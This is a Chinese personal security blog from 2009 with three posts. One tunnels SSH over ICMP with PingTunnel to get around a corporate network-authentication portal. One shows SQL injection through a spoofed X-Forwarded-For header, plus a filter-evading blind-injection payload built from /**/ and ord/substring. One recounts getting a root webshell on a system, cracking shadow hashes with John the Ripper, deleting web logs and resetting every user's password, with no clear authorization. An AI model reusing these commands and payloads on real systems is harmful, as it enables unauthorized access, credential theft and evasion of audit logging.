Wednesday, December 23, 2009

Proxy over ICMP

昨天下午开会突然间想到的问题。
最近公司用无线,总是连不上那个认证页面;有线接入又要先走认证接入系统。实在恶心。
不过,未认证的情况下,ping还是通的。也就是说,ICMP包应该是没有被drop掉的。
再联想到,之前研究过ping的数据格式,有个可以“不限长度”的数据段。
于是在设想能否用这个段实现应用层数据包的封装,进而以ICMP为载体作代理或者其他方式绕过这个认证接入系统。

晚上上网查了查,果然,这种东西已经有了现成的实现。
早上在测试机上下了个PingTunnel,去掉了SELinux的编译选项,直接make,然后本机开了个虚拟机,bridge了无线网卡。

服务器端直接
./ptunnel -v -f pt.log 
客户端
sudo ./ptunnel -p 10.abc.def.ghi -lp 12345 -v -da 10.abc.def.ghi -dp 22

然后客户端新开一个shell,
ssh -p 12345 localhost -l root
直接tunnel到了10.abc.def.ghi 的22端口,ssh。

如果目标端口,-dp那个选项,对应的是个socks代理,那就可以直接socks代理过去,其他同理。

http://en.wikipedia.org/wiki/ICMP_tunnel
Ping Tunnel
# EOF

Wednesday, December 16, 2009

两个注入的案例

同一个系统,看了看源码,发现两个问题。

1 IP的获取方式以及 HTTP_X_FORWARDED_FOR 过滤
这块儿,纯属之前测试微博内网接口外部访问成功之后,无聊得放不下,天然的敏感。
相关测试,见 这里

这次看到这个系统的一个用户界面,使用以前提到过的IP判断规则(简单说就是 HTTP_X_FORWARDED_FOR ? HTTP_X_FORWARDED_FOR : REMOTE_ADDR ) 来获取IP。
<?php
if ( $_SERVER['HTTP_X_FORWARDED_FOR'] != "" ) {
 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else if ( getenv( "REMOTE_ADDR" ) != "" ) {
 $ip = getenv( "REMOTE_ADDR" );
} else {
 $ip = "";
}

而后,在某个INSERT中,使用了这个$ip值。
<?php
$query = "INSER INTO ... SET ..., `ip`='".$ip."'";

问题其实很明显了。
HTTP_X_FORWARDED_FOR 这个头是可以人工加的。这点上边提到的文章里已经做过测试。这里唯一还要测试的,是如果构造畸形的数据,例如“127.0.0.1' -- ;”,或者简单点“127.0.0.1'”看看sql会不会出错。
想到这点,赶紧拿联盟的代码测试了下,结果出错了
Discuz! info: MySQL Query Error

Time: 2009-12-16 3:15pm
Script: /home.php

SQL: SELECT sid, status, username AS sessionuser, groupid, styleid, wordsonly FROM cdb_sessions WHERE sid='Gz0uB3lI' AND ip='127.0.0.1' and 1=1, 219.142.118.227, 10.1.10.5'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 219.142.118.227, 10.1.10.5'' at line 1
Errno.: 1064

Similar error report has beed dispatched to administrator before.
我在nginx里配的
proxy_set_header        X-Forwarded-For "127.0.0.1' and 1=1";

看到这里,立马给IP加了一次过滤。

于是再次和微博代码里的那个IP获取的方式做了比较:
与这里的代码获取方式相比,微博的代码中,对 HTTP_X_FORWARDED_FOR 的IP格式作了一次匹配,取出了一个符合IPv4规则的地址,也就是这个长串的第一部分,并没有简单地使用 ', ' 进行 explode。好处在于格式是确定的,不会因为IP格式收类似攻击;而不好的一点是,这样的处理方式,可以使用 HTTP_X_FORWARDED_FOR 进行IP欺骗。


2 变态的过滤。
这个变态过滤规则我记得之前提到过,基本代码如下:
<?php
function filter($str)
{
 $str = str_replace( array(" ", "'"), array(" ", '‘'), $str );
 $str = str_replace(arrau("%","&","|","=","+","\t","\r",), "", $str);
 return $str;
}

第一眼看到这个过滤,已然疯了。连 +=|&% 都过滤了,实在是变态。尤其是=,这个一过滤,即便有注入也很难,因为 1=1,1=2 已经不再有用了,更何况field=1这样的判断。
等等,真的不可用么?
1=1,1=2很好理解,只要这里等号两端没有空格,过滤之后数据应该是 11 或 12,形如
SELECT * FROM `tbl` WHERE 12
这样的语句很明显没问题,空格、跳格、回车被过滤了,那就\n或者/**/呗。
至于 field=1的判断。。。
hmm...
其实挺简单。
这些是以前写的
0/**/OR/**/NOT/**/length(username)-6/**/AND/**/NOT/**/ord(substring(username,1,1))-115/**/AND/**/NOT/**/ord(substring(username,2,1))-115/**/AND/**/NOT/**/ord(substring(username,3,1))-107/**/AND/**/NOT/**/ord(substring(username,4,1))-97/**/AND/**/NOT/**/ord(substring(username,6,1))-101


/**/NOT/**/length(username)-6/**/AND/**/NOT/**/ord(substring(username,1,1))-115/**/AND/**/NOT/**/ord(substring(username,2,1))-115/**/AND/**/NOT/**/ord(substring(username,3,1))-107/**/AND/**/NOT/**/ord(substring(username,4,1))-97/**/AND/**/NOT/**/ord(substring(username,6,1))-101

很难看是吧,能用就行了呗,自己写个代码拼串也不难,只是别把串弄得超过4k就行。


# EOF

Sunday, December 13, 2009

对某系统的测试

之前拿到过该系统的盘,本打算跟一下注册的算法,后来没时间折腾也就放弃了。不过那系统用得已经不能再恶心了。

前两天拿到某系统的测试机,一个8080的服务,一个ssh端口。直接上去拿到了一个root的webshell,但是恶心就恶心在,连 ls cp chmod 等等都没法用。不过当晚直接拿了 passwd 和 shadow 用jtr爆破,轻松拿到一个弱口令,不过权限很低,可以ssh。从某个虚拟机拿了个 /bin/ls 传上去,却忘记了默认写进去的文件没有 +x。于是从虚拟机上把一些基本命令 tar了一个包传了过去,解压到了 ~/bin 下,于是开始看系统的东西。基本没什么可用的,最后删了web日志,然后走人。

第二天所有的服务全关了,于是就没折腾。

等后来连上的时候,却发现之前弱口令的那个账户已经被删了,想自己添加帐户却没权限。最后不得不变态地直接写了个文件
123456
123456
然后
passwd < 1
passwd secadm < 1
passwd audadm < 1
把所有用户的密码都给改了。


今天折腾了会儿,看了看系统,注意了下MAC地址,00:0C:29:02:6B:1D,vmware的,于是想试试找找vmware tools,然后想尝试通过以前某几个版本的vmware tools的东西,看看能不能进宿主机。结果折腾着,折腾着,却在传vmware tools上出了麻烦,太大了,而且忘记了要找有漏洞的版本,只是一心想着vmware 7 :x。抓包看了看vmware 7 的更新功能,然后找到了softwareupdate.vmware.com 这个域,但是数据包是走443端口的,https可用,只是抓到的没法还原。后来上网搜,发现了
http://softwareupdate.vmware.com/cds/index.xml
顺藤摸瓜,找到了
https://softwareupdate.vmware.com/cds/vmw-desktop/ws/7.0.0/203739/linux/vmware-tools-linux-8.1.3-203739.i386.component.tar
wget下来,却没法用,不过庆幸自己wget前先装了screen,要不然肯定会断。



/bin 下几个不能用的文件ls -l 出来是这样的
[root@localhost bin]# ls -l | grep \?
?--------- ? ? ? ? ? chmod
?--------- ? ? ? ? ? cp
?--------- ? ? ? ? ? ls
?--------- ? ? ? ? ? rm
这个东西在我自己的虚拟机ssh上去的时候没遇到过。

/etc/passwd, /etc/shadow, /etc/group, /etc/gshadow 等几个文件用webshell检测的状态都是不可写的,直接vi 然后 :w! 也不行。这点我自己的虚拟机记得也是这样的。

sudoers修改加上的sudo权限不可用,可以从su切换到任意用户,但是无法从其他用户su到root下。




PS: 感谢 Jianyu Yang 的 ssh tunnel 以及提供账号的 fukui :P